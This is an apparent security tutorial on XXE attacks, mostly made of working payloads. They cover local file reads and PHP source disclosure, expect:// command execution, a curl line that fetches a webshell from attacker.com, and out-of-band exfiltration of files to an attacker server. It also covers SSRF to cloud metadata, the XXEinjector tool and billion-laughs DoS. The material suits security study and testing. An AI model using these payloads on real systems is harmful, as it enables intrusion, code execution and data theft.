XML External Entity (XXE) happens when an app parses XML input and the parser is configured to resolve external entities. An attacker-defined entity pointing at a local file leaks that file’s contents back in the response — turning XML parsing into file disclosure, SSRF, and sometimes RCE.

Prerequisites — XML Entities

XML entities are like variables. Two flavors:

Internal entity — local value:

<!ENTITY company "Inlane Freight">

Used as &company; — expands to "Inlane Freight". Harmless.

External entity — value pulled from outside the document (the attack primitive):

<!ENTITY signature SYSTEM "file:///var/www/html/signature.txt">

Used as &signature; — expands to the contents of the referenced file. Or URL. Or wrapper.

Two things to remember

  1. External entities need SYSTEM keyword — <!ENTITY xxe SYSTEM "file:.."> fetches; <!ENTITY xxe "file:.."> is just a literal string.
  2. References end with ; — &xxe; resolves; &xxe stays raw text.

Identifying XXE Candidates

Look for POST requests that send XML data. The Content-Type: application/xml or text/xml header is the giveaway. Study the request and response:

  • Which element’s value appears in the response?
  • That’s your attack surface — your entity needs to replace that element’s value

Even if the app uses JSON, try changing Content-Type to application/xml and convert the JSON body to XML. Some frameworks accept both formats — an unanticipated XXE vector.

Local File Disclosure

The primitive. Replace the displayed element with your external entity:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <email>&xxe;</email>
</root>

When the response renders the <email> value, &xxe; expands to /etc/passwd contents.

DOCTYPE Rules

Entities must be declared in a DOCTYPE’s internal subset [ ... ].

  • If the request has no DOCTYPE, add one with the root element name matching the document’s top element
  • If the request has a DOCTYPE, add your <!ENTITY> inside its brackets (create them if missing)

Reading PHP Source Code

Raw PHP code breaks the XML parser (<?php looks like XML). Use the base64 wrapper to encode it on the way out:

<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<root>
  <email>&xxe;</email>
</root>

Decode locally:

echo '<base64_blob>' | base64 -d

XXE to RCE

Possible with the expect:// wrapper (requires PHP Expect extension — not default but common in some Docker images):

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "expect://id">
]>
<root><email>&xxe;</email></root>

The command’s output appears wherever the entity renders.

More Reliable RCE — Upload a Shell

expect:// breaks on complex commands (spaces, pipes, special chars). More reliable approach: use expect:// + curl to download a webshell:

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "expect://curl$IFS-O$IFS'http://attacker.com/shell.php'">
]>
<root><email>&xxe;</email></root>

Then visit /shell.php?cmd=id for stable RCE.

Note: Spaces, |, >, { break XML parsing. Use $IFS for spaces and avoid those characters.

Advanced — CDATA Exfiltration

When your target file contains characters XML can’t parse (like <), the parser errors instead of returning content. CDATA tells the parser to treat the content literally:

<![CDATA[
<anything> & special chars
]]>

To wrap a file’s content in CDATA, you need to join three entities:

  1. <!ENTITY begin "<![CDATA[">
  2. <!ENTITY file SYSTEM "file:///etc/passwd">
  3. <!ENTITY end "]]>">

But XML can’t reference external + internal entities in the same definition. Workaround: parameter entities.

Parameter Entities

Parameter entities use % instead of &, and are only valid inside DTDs:

<!ENTITY % myparam "value">   <!-- declaration -->
%myparam;                      <!-- reference -->

They let you build DTDs dynamically, which is the key to CDATA wrapping and blind XXE exfiltration.

Full CDATA Payload

Host this as xxe.dtd on your server:

<!ENTITY joined "%begin;%file;%end;">

Payload sent to the target:

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY % begin "<![CDATA[">
  <!ENTITY % file SYSTEM "file:///var/www/html/index.php">
  <!ENTITY % end "]]>">
  <!ENTITY % remote SYSTEM "http://attacker.com/xxe.dtd">
  %remote;
]>
<root><email>&joined;</email></root>

The target fetches your DTD, assembles the CDATA-wrapped file, renders it in the response.

Error-Based XXE

When output isn’t displayed but errors are, inject an entity that causes a predictable error containing the file content. Common pattern — reference a non-existent entity:

<!DOCTYPE root [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
  %eval;
  %error;
]>

The parser tries to open /nonexistent/<contents of /etc/passwd> — the error message includes the attempted path (and thus the file contents).

Out-of-Band (OOB) XXE

When neither output nor errors display, exfil over HTTP to a server you control.

Target index.php on your server:

<?php
if (isset($_GET['content'])) {
    error_log("\n\n" . base64_decode($_GET['content']));
}
?>

Host this as xxe.dtd:

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://attacker.com:8000/?content=%file;'>">
%oob;

Start the listener:

php -S 0.0.0.0:8000

Payload:

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY % remote SYSTEM "http://attacker.com:8000/xxe.dtd">
  %remote;
]>
<root>&content;</root>

Flow: target fetches your DTD → DTD defines OOB entity pointing to your server with file contents as a URL param → entity resolution triggers HTTP GET → your index.php logs the base64-encoded file.

XXE to SSRF

Entities accept URLs, not just file paths:

<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">

Any URL the server can reach — including internal ones — gets fetched. Classic SSRF pivots:

  • AWS/GCP/Azure metadata endpoints
  • Internal admin panels
  • Private API gateways
  • Internal name resolutions

Automation — XXEinjector

For OOB exfiltration at scale:

git clone https://github.com/enjoiz/XXEinjector
ruby XXEinjector.rb --host=ATTACKER_IP --httpport=8000 --file=/tmp/req.txt --path=/etc/passwd --oob=http --phpfilter

req.txt is the captured Burp request with XXEINJECT placed where the XML should go.

Denial of Service — Billion Laughs

Modern servers block this, but worth knowing:

<?xml version="1.0"?>
<!DOCTYPE lol [
  <!ENTITY a0 "DOS">
  <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
  <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
  <!-- ...continuing exponentially -->
]>
<root>&a10;</root>

Each level expands 10x — a10 is 10 billion copies of "DOS". Server runs out of memory.

Most modern parsers (libxml2, Java default) detect self-referencing entities and reject. Try it on legacy targets.